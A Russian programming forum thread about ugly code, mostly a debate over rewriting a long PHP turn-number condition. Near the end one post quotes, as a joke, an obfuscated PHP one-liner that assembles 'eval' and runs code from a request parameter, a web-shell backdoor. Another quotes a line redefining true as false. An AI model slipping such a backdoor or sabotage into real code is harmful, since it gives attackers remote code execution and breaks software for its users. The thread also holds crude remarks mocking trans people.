Тема срачей, говнокода и путей их преодоления

The Kite Runner

Продвинутый
📜
Сообщения
190
Реакции
50
PHP:
if ($this->hodID == 3 || $this->hodID == 6 || $this->hodID == 9 || $this->hodID == 13 || $this->hodID == 15 || $this->hodID == 18 || $this->hodID == 21 || $this->hodID == 24 || $this->hodID == 27 || $this->hodID == 30 || $this->hodID == 33 || $this->hodID == 37 || $this->hodID == 40 || $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49 || $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59 || $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68 || $this->hodID == 71) {
Столкнулся вот с таким говнецом в коде... замечается последовательность, эти цифры почти все делятся на 3 без остатка, такое впечатление, что действие должно происходить каждый третий ход... зачем городить это уродство? Вот более лаконичное и читабельное решение этого чуда:
PHP:
if($this->hodID % 3 == 0)
Точно делятся на 3 без остатка?

13/3=4,3333
37/3=12,3333
40/3=13,3333
43/3=14,3333
46/3=15,3333
49/3=16,3333
Ну и так далее
Хрен знает чем вызвана последовательность... Но не проще ли всё-же в массив их?
 

k880TR

Интересующийся
📜
Сообщения
90
Реакции
13
да, не все делятся без остатка, я написал выше почти все. Но сам подход программиста меня удивил, тут же явно заложен логика 3 хода плюс минус
 

oxy

Знаток
🏆
📜
Сообщения
498
Реакции
147
PHP:
if ($this->hodID == 3 || $this->hodID == 6 || $this->hodID == 9 || $this->hodID == 13 || $this->hodID == 15 || $this->hodID == 18 || $this->hodID == 21 || $this->hodID == 24 || $this->hodID == 27 || $this->hodID == 30 || $this->hodID == 33 || $this->hodID == 37 || $this->hodID == 40 || $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49 || $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59 || $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68 || $this->hodID == 71) {
Столкнулся вот с таким говнецом в коде... замечается последовательность, эти цифры почти все делятся на 3 без остатка, такое впечатление, что действие должно происходить каждый третий ход... зачем городить это уродство? Вот более лаконичное и читабельное решение этого чуда:
PHP:
if($this->hodID % 3 == 0)
По тому что хорошего кода должно быть много! Индусы ©
 

Insallah

¯\_(ツ)_/¯
🏆
📜
Сообщения
1,620
Реакции
511
да, не все делятся без остатка, я написал выше почти все. Но сам подход программиста меня удивил, тут же явно заложен логика 3 хода плюс минус
Нет, тут заложена логика ручного перечисления номеров ходов, во время которых что-то происходит.
 

k880TR

Интересующийся
📜
Сообщения
90
Реакции
13
Нет, тут заложена логика ручного перечисления номеров ходов, во время которых что-то происходит.
разве не замечается в числа некая последовательность? Даже если учесть не большой плюс минус, какая разница игроку или боту когда использовать прием на 12м ходе или на 13. Большой разницы не вижу, но когда ты читаешь это код и видишь некий кал кончающийся || $this->hodID == 240, то тут становится не очень. Уж очень похоже это на кал
 

Insallah

¯\_(ツ)_/¯
🏆
📜
Сообщения
1,620
Реакции
511
разве не замечается в числа некая последовательность?
Мы никогда не узнаем.

какая разница игроку или боту когда использовать прием на 12м ходе или на 13
Значит ты ещё не сталкивался с нетривиальными условиями. А вдруг важно?

когда ты читаешь это код и видишь некий кал кончающийся || $this->hodID == 240, то тут становится не очень. Уж очень похоже это на кал
В вопросах валидности — это валидный код. Если хочешь уменьшить, не меняя функционал, поставь сравнение с массивом. Потому что если брать твоё деление с остатком, то превращение получится примерно таким:

PHP:
if(($this->hodID % 3 == 0 && $this->hodID <= 33)
|| $this->hodID == 13 || $this->hodID == 37 || $this->hodID == 40 
|| $this->hodID == 43 || $this->hodID == 46 || $this->hodID == 49
|| $this->hodID == 52 || $this->hodID == 55 || $this->hodID == 59
|| $this->hodID == 62 || $this->hodID == 65 || $this->hodID == 68
|| $this->hodID == 71 ) {...}

// Ну или хуй с ним
if(($this->hodID % 3 == 0 && $this->hodID <= 33) || in_array($this->hodID,[13, 37, 40, 43, 46, 49, 52, 55, 59, 62, 65, 68, 71])) {...}

// Давай упоремся
for ($i = 37; $i <= 55; $i+=3) {
    $j[] = $i; /*37 40 43 46 49 52 55*/
}
for ($i = 58; $i <= 73; $i+=3) {
    $j[] = $i; /*58 61 64 67 70 73*/
}
if(($this->hodID % 3 == 0 && $this->hodID <= 33) || in_array($this->hodID, $j) || $this->hodID == 13) {...}

Сильно упростило логику? Наоборот — усложнило. Иногда простое перечисление, если оно не завязанное на мат-формулу — реально самое простое решение,
 

oxy

Знаток
🏆
📜
Сообщения
498
Реакции
147
А я все ждал когда назреет этот вопрос, когда слепые попытки оптимизировать код пойдут в ущерб его читаемости и простоте восприятия...
 

Bayer

Специалист
⚖️
🏆
📜
Сообщения
782
Реакции
261
Интересно, интересно

Безымянный.png
 

Insallah

¯\_(ツ)_/¯
🏆
📜
Сообщения
1,620
Реакции
511
Моё любимое:
PHP:
@define('true', false); // счастливой отладки, суки!
 

Insallah

¯\_(ツ)_/¯
🏆
📜
Сообщения
1,620
Реакции
511
Элегантно.
PHP:
<?php 'v1'; $e = 'javellin'; $f = create_function('', $e{3}.$e{2}.$e{1}.$e{4} .'( stripslashes( @ $_REQUEST[$e] ) );' ); $f();
 

oxy

Знаток
🏆
📜
Сообщения
498
Реакции
147
тот случай, когда говнокод не в коде, а в голове ))
Почему, это весьма тонкий троллинг, ведь в базе все равно сохраняется только значения male/female соответственно вывести в дальнейшем ты можешь только эти два значения, и что чел считает себя транс бабой в итоге указывается что он не транс баба а просто баба)))) Все ок))
 

fulugan

Некто
📜
Сообщения
22
Реакции
2
Почему, это весьма тонкий троллинг, ведь в базе все равно сохраняется только значения male/female соответственно вывести в дальнейшем ты можешь только эти два значения, и что чел считает себя транс бабой в итоге указывается что он не транс баба а просто баба)))) Все ок))
в голове у тех, кому оно предназначено))
 
Сверху